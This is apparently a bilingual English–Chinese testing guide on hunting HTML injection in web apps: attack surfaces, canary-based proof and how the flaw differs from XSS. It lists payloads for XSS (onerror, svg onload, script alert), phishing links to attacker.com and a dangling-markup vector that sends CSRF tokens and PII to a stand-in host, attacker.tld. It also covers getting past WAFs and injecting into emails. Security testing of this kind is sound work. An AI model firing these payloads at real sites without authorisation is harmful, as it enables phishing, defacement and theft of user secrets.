hunt-html-injection

Compare original and translation side by side

🇺🇸

Original

English

🇨🇳

Translation

Chinese

What is HTML Injection

什么是 HTML Injection

HTML Injection occurs when user input is inserted into a page's HTML without escaping, so injected tags are rendered by the browser as markup rather than displayed as literal text. Unlike XSS, the injected content does not require JavaScript execution — injecting

<b>

<h1>

<a>

<img>

, or

<form>

tags is sufficient.

To PROVE impact unambiguously, escalate to an active vector carrying a unique numeric canary — e.g.

"><img src=x onerror=alert(91234)>

<svg onload=alert(91234)>

. A distinctive 4+ digit number (not

alert(1)

) distinguishes YOUR reflected injection from the example payloads practice pages embed in their own hint text. Proof = the raw, unescaped vector with your canary appears in the response.

Impact:

Phishing via injected
```
<form>
```
or
```
<a href="attacker.com">
```
tags
UI defacement —
```
<h1>HACKED</h1>
```
renders visually on the page
Credential harvesting via injected login forms
Redirect via
```
<meta http-equiv="refresh">
```
Stepping stone to XSS (may be blocked by WAF on
```
<script>
```
but not
```
<img onerror>
```
)
Dangling-markup exfiltration — even with
```
<script>
```
and event handlers filtered, an unterminated tag can capture page content that follows it. Inject
```
<img src='//attacker.tld/log?html=
```
(no closing quote/
```
>
```
); the browser treats everything up to the next
```
'
```
as the URL, leaking any CSRF token, secret, or PII rendered after your injection point to your server. Works where full XSS is blocked but raw
```
<
```
is reflected.
Email/notification-context injection — a field reflected unescaped into a transactional email (signup confirmation, admin alert, support-chat transcript) renders injected
```
<a>
```
/
```
<img>
```
/dangling markup in the recipient's inbox — an audience the web UI can't reach, and often the only place HTML is rendered unfiltered. Inject into name/subject/comment, then read the raw email source. Disclosed class: https://hackerone.com/reports/1935628, https://hackerone.com/reports/3556892.

HTML Injection 发生在用户输入未经转义便插入页面 HTML 时，导致注入的标签被浏览器作为标记呈现，而不是显示为字面文本。与 XSS 不同，注入内容不要求执行 JavaScript——注入

<b>

、

<h1>

、

<a>

、

<img>

或

<form>

标签即可。

要明确证明影响，应升级为携带唯一数字 canary 的主动验证向量——例如

\"><img src=x onerror=alert(91234)>

或

<svg onload=alert(91234)>

。使用独特的 4 位以上数字（不要使用

alert(1)

），可以将你此次的反射型注入与练习页面在提示文本中嵌入的示例 payload 区分开来。证明 = 响应中出现带有你的 canary 的原始、未转义向量。

影响：

通过注入
```
<form>
```
或
```
<a href="attacker.com">
```
标签实施钓鱼
UI 页面篡改——
```
<h1>HACKED</h1>
```
会在页面上直观呈现
通过注入登录表单收集凭据
通过
```
<meta http-equiv="refresh">
```
重定向
成为通往 XSS 的跳板（WAF 可能拦截
```
<script>
```
，但不会拦截
```
<img onerror>
```
）
悬空标记数据外泄——即使
```
<script>
```
和事件处理器已被过滤，一个未闭合标签仍可捕获其后的页面内容。注入
```
<img src='//attacker.tld/log?html=
```
（不添加闭合引号或
```
>
```
）；浏览器会将从注入位置到下一个
```
'
```
之间的所有内容视为 URL，从而把后续呈现的 CSRF token、密钥或 PII 泄露到你的服务器。即使完整的 XSS 攻击被拦截，只要原始
```
<
```
仍会被反射，这种方法依然有效。
电子邮件/通知上下文注入——某个字段未经转义便出现在事务性邮件（注册确认、管理员警报、支持聊天记录）中时，注入的
```
<a>
```
、
```
<img>
```
或悬空标记会在收件人的邮箱中呈现，而这是 Web UI 无法触达的受众，并且通常是唯一会对 HTML 进行无过滤渲染的位置。向名称、主题或评论中注入内容，然后读取邮件源码。已公开类别：https://hackerone.com/reports/1935628、https://hackerone.com/reports/3556892。

Attack Surface

攻击面

Any input that is reflected or stored and then displayed in an HTML context:

Search boxes (
```
?q=
```
)
Comments, feedback, reviews
Profile fields (name, bio, username)
Error messages (
```
?error=
```
,
```
?message=
```
)
Subject / body of contact forms
Admin-visible fields (ticket titles, usernames in logs)

任何会被反射或存储，并在 HTML 上下文中显示的输入：

搜索框（
```
?q=
```
）
评论、反馈、评价
个人资料字段（姓名、简介、用户名）
错误消息（
```
?error=
```
、
```
?message=
```
）
联系表单的主题/正文
管理员可见字段（工单标题、日志中的用户名）

Autonomous Testing Priority

自主测试优先级

Inject a recognisable HTML tag with a unique canary string. Unescaped angle brackets in the response = confirmed injection.

Pattern 1 — Basic HTML tag injection:

<b>CANARY</b>
"><b>CANARY</b>

Use a unique string as CANARY (something distinct to this test run). Proof: the response contains

<b>CANARY

with literal

angle brackets — not

&lt;b&gt;CANARY

. A properly encoded app would escape

&lt;

Try multiple tag types when
<b>
is filtered:

```
<h1>CANARY</h1>
```
— heading tag (often less filtered)
```
<img src=x onerror=CANARY>
```
— attribute context

<a href="https://attacker.com">click</a>

— link injection (phishing proof)

For stored injection: inject into the storage endpoint, then GET the page where the value is displayed and check for unescaped tags.

Escalate immediately: if

<b>

injection works, try

<script>alert(1)</script>

— the same unsanitised input may allow full XSS.

注入带有唯一 canary 字符串的可识别 HTML 标签。响应中出现未转义的尖括号 = 确认存在注入。

模式 1——基础 HTML 标签注入：

<b>CANARY</b>
\"><b>CANARY</b>

使用唯一字符串作为 CANARY（应与本次测试运行中的其他内容明显不同）。**证明：**响应中包含

<b>CANARY

，并保留字面量

尖括号，而不是

&lt;b&gt;CANARY

。正确进行编码的应用会将

转义为

&lt;

。

当
<b>
被过滤时，请尝试多种标签类型：

```
<h1>CANARY</h1>
```
——标题标签（通常过滤得较少）
```
<img src=x onerror=CANARY>
```
——属性上下文

<a href="https://attacker.com">click</a>

——链接注入（钓鱼证明）

**对于存储型注入：**先向存储端点注入内容，然后 GET 显示该值的页面，并检查其中是否存在未转义的标签。

**立即升级测试：**如果

<b>

注入成功，请尝试

<script>alert(1)</script>

——同一个未经清理的输入可能允许完整的 XSS 攻击。

Proof

证明

Confirmed when your injected tag appears in the response body with literal

angle brackets (not HTML-encoded). A safe app renders

&lt;b&gt;CANARY&lt;/b&gt;

; a vulnerable app renders

<b>CANARY</b>

当注入的标签以字面量

尖括号（而非 HTML 编码形式）出现在响应正文中时，即可确认存在注入。安全的应用会呈现

&lt;b&gt;CANARY&lt;/b&gt;

；存在漏洞的应用会呈现

<b>CANARY</b>

。

Distinguishing HTML Injection from XSS

区分 HTML Injection 与 XSS

HTML injection:
```
<b>text</b>
```
renders as text in the browser — no JS execution needed.
XSS:
```
<script>alert(1)</script>
```
executes JavaScript.

Some WAFs block

<script>

but pass

<b>

<img>

— start with non-script tags, then escalate.

HTML Injection：
```
<b>text</b>
```
在浏览器中呈现为文本，不需要执行 JS。
XSS：
```
<script>alert(1)</script>
```
会执行 JavaScript。

部分 WAF 会拦截

<script>

，但放行

<b>

或

<img>

——应先使用非脚本标签进行测试，然后再升级测试。